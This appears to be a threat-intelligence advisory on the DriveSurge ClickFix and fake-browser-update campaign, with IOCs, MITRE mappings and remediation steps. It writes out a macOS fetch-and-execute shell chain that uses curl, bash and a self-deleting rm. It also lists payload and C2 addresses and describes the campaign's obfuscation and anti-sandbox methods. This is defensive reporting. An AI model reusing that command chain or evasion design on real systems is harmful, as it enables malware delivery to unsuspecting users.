DriveSurge — Initial Access Broker Drives Mass ClickFix & Fake Browser Update Campaign via zTDS (Silent Push)
DriveSurge — Initial Access Broker Drives Mass ClickFix & (TL-2026-0639), also tracked as DriveSurge IAB, is a high-severity malware campaign, first published 2026-06-01. It is attributed to DriveSurge with medium confidence, affects Microsoft Windows, maps to 17 MITRE ATT&CK techniques (T1027, T1036, T1059), and is covered by 9 detection rules and 27 indicators of compromise.
Key facts for TL-2026-0639
- Threat ID
- TL-2026-0639
- Also known as
- DriveSurge IAB, DriveSurge zTDS campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-06-01
- Last reviewed
- 2026-06-01
- Attribution
- DriveSurge
- Attribution confidence
- MEDIUM
- Motivation
- FINANCIAL
- Target sectors
- cross-sector, general public, website operators, wordpress hosting
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 27
DriveSurge is a financially motivated Initial Access Broker that injects obfuscated JavaScript into thousands of compromised high-reputation websites, routing visitors through an open-source zTDS Traffic Distribution System that profiles each victim and serves either fake browser-update downloads (a ZIP of DLLs plus a malicious 'Browser Update.exe') or ClickFix prompts that coerce the user into pasting a command into PowerShell or a terminal. Operating a Pay-Per-Install model across Windows and macOS, DriveSurge sells confirmed infections to downstream actors and uses a separate Advertisement Distribution System with mouse/scroll/click behavioral checks to evade automated analysis.
How DriveSurge — Initial Access Broker Drives Mass ClickFix & works
DriveSurge is a specialized Initial Access Broker (IAB) identified by Silent Push that monetizes a Pay-Per-Install (PPI) model: it collects payment each time a victim device is successfully infected and supplies confirmed access to downstream threat actors. The operation ran largely undetected while compromising thousands of legitimate, high-reputation websites, into which DriveSurge injects hidden, obfuscated JavaScript (commonly delivered as a file named t.js with a site=[32-hex] victim identifier). The inject runs in the background and routes the visitor through a zTDS — an open-source Traffic Distribution System publicly available at ztds.info since at least 2015 (changelog v1.0.3) and used in this campaign at scale.
zTDS profiles each visitor and decides what to serve next, fetching payload scripts from a 'jsrepo' endpoint with a rotating rnd= parameter and assembling URLs via Base64 (atob()) decoding and string concatenation to hide redirect code inside normal-looking page elements. A failover mechanism cycles through multiple backup delivery servers — newtdsone.shop, cptoptious.com, and captioto.com — to maintain resilience. Researchers mapped eight distinct technical fingerprints spanning script-injection filenames (t.js, t.[12-hex].js, ext-b[12-hex].js matching SHA256 prefixes), malicious server configuration (HTTP header values, JARM, nginx version, body SHA256), and domain registration patterns (.icu TLD, ns1.erans.ru nameserver, self-named MX, ASNs 203273/210644, NiceNIC registrar), plus two WHOIS email pivots.
Victims are funneled to one of two social-engineering payloads. The FakeUpdates path serves a convincing browser-update prompt impersonating Chrome, Firefox, Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet, or UC Browser; clicking downloads a ZIP containing multiple DLL files and a malicious 'Browser Update.exe' that is executed (consistent with DLL side-loading). The ClickFix path displays a fake error or reCAPTCHA-style verification overlay instructing the victim to copy and paste a 'fix' into the Run dialog, PowerShell, or a terminal, which silently installs malware; one observed instance pulled second-stage code from 91.92.240.127, an IP already flagged in bulletproof-hosting threat-intel feeds.
The campaign is cross-platform. The analyzed macOS payload was delivered via a multi-stage shell command (pattern: cd /tmp && curl -kfsSL <url> -o <random> && bash <random> && rm -f <random>), Base64-wrapped with btoa(unescape(encodeURIComponent())) and prefixed with fake 'reCAPTCHA Verification ID' text; after downloading and executing a secondary file it self-deleted to reduce forensic traces, retrieving the payload from hxxp://46.226.166.57/ce3cbfc887?force=1 with C2 at 147.45.42.205:8133.
A separate Advertisement Distribution System (ADS), hosted on banerpanel.live with a Russian-language admin panel and a banner-js.php script, fronts the operation and acts as an anti-analysis gate: it collects device metadata (screen resolution, hardware), monitors mouse movement, scrolls, and clicks to compute a human 'trust score', applies local-storage frequency capping, and transmits telemetry with anti-forgery click hashing — ensuring payloads are withheld from sandboxes and crawlers. Infrastructure clues (Russian-language panel, ns1.erans.ru nameserver, use of tempmail.so / ycyfugihih.cfd disposable email for domain registration) point to a Russian-speaking operator, though formal nation-state attribution is low-confidence; motivation is financial.
MITRE ATT&CK techniques used in TL-2026-0639
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1480 Execution Guardrails; T1497 Virtualization/Sandbox Evasion; T1574 Hijack Execution Flow
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Command and Control
T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer
Initial Access
Resource Development
T1583 Acquire Infrastructure; T1584 Compromise Infrastructure; T1588 Obtain Capabilities; T1608 Stage Capabilities
Reconnaissance
Affected products and versions in DriveSurge — Initial Access Broker Drives Mass ClickFix &
- Microsoft — Windows
Vulnerable versions: all supported - Apple — macOS
Vulnerable versions: all supported - Multiple — Web Browsers (Chrome, Firefox, Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet, UC Browser)
Vulnerable versions: impersonated by fake-update lures - Multiple — Compromised high-reputation websites (incl. CMS such as WordPress)
Vulnerable versions: sites with injected DriveSurge JavaScript
Remediation for DriveSurge — Initial Access Broker Drives Mass ClickFix &
Immediate actions
- Block all DriveSurge inject/zTDS/ADS domains and IPs at the web proxy, DNS, and perimeter (beacontrace.bond, newtdsone.shop, cptoptious.com, captioto.com, banerpanel.live, check.first-node.rocks, testio.ecartdev.com, 91.92.240.127, 46.226.166.57, 147.45.42.205)
- Hunt EDR for 'Browser Update.exe' and ZIPs containing it, and for PowerShell/mshta/bash spawned from a browser-paste context (clipboard-sourced commands)
- Alert on macOS shell chains matching curl -o /tmp + bash + rm -f self-delete, and on the payload URL pattern /ce3cbfc887?force=1
Workarounds
- Constrain PowerShell with Constrained Language Mode and script-block + module logging
- Strip/scan web content for obfuscated atob()/base64 inject patterns at the CDN/WAF layer
- Frequency-cap and bot-filter bypass: route suspect referrers through sandbox detonation before user delivery
Longer-term hardening
- Deploy and tune ClickFix behavioral detections (browser -> Run dialog / PowerShell with encoded or remote-fetch command) using Atomic Red Team T1204.004 tests
- Disable or tightly restrict the Windows Run dialog and clipboard-to-shell paste via GPO/AppLocker where feasible
- Deploy EDR with behavioral detection and macOS coverage; enable Gatekeeper and block unsigned binary execution
- User awareness training on fake browser updates and 'paste this to fix' / fake-CAPTCHA lures
Timeline of DriveSurge — Initial Access Broker Drives Mass ClickFix &
- zTDS open-source Traffic Distribution System first published at ztds.info (changelog confirms operations and version 1.0.3).
- zTDS-driven mass website-compromise activity associated with the DriveSurge operation active since at least 2022.
- DriveSurge began using its current IP infrastructure for zTDS delivery/hosting.
- Silent Push researchers developed and tested the hunting methodology that surfaced the eight DriveSurge fingerprints.
- First DriveSurge domain registered using the WHOIS email tied to Fingerprint 6 (thiagorivera197151@ycyfugihih.cfd).
- Silent Push published primary research naming the DriveSurge IAB and detailing zTDS, ADS, and the ClickFix/FakeUpdates chains.
- Cyber Security News published a secondary report amplifying the Silent Push DriveSurge findings.
Sources cited for DriveSurge — Initial Access Broker Drives Mass ClickFix &
- Meet DriveSurge: A New Threat Actor Using ClickFix and Fake Update Drive-By Attacks in Thousands of Compromised Sites
- New DriveSurge Threat Actor Uses ClickFix and Fake Updates to Infect Website Visitors
- ClickFix malware: Silent Push tracks 2,000+ domains and IPs affected by WordPress fake browser update infostealers
- Unmasking SocGholish: Silent Push Untangles the Malware Web Behind the Pioneer of Fake Updates (TA569)
- User Execution: Malicious Copy and Paste, Sub-technique T1204.004
- Command and Scripting Interpreter: PowerShell, Sub-technique T1059.001
- ClickFix attack uses fake Windows Update screen to push malware
Threats related to DriveSurge — Initial Access Broker Drives Mass ClickFix &
Detection coverage for TL-2026-0639
As of 2026-06-01, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0639 across Splunk SPL, Microsoft KQL and Sigma, covering 27 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.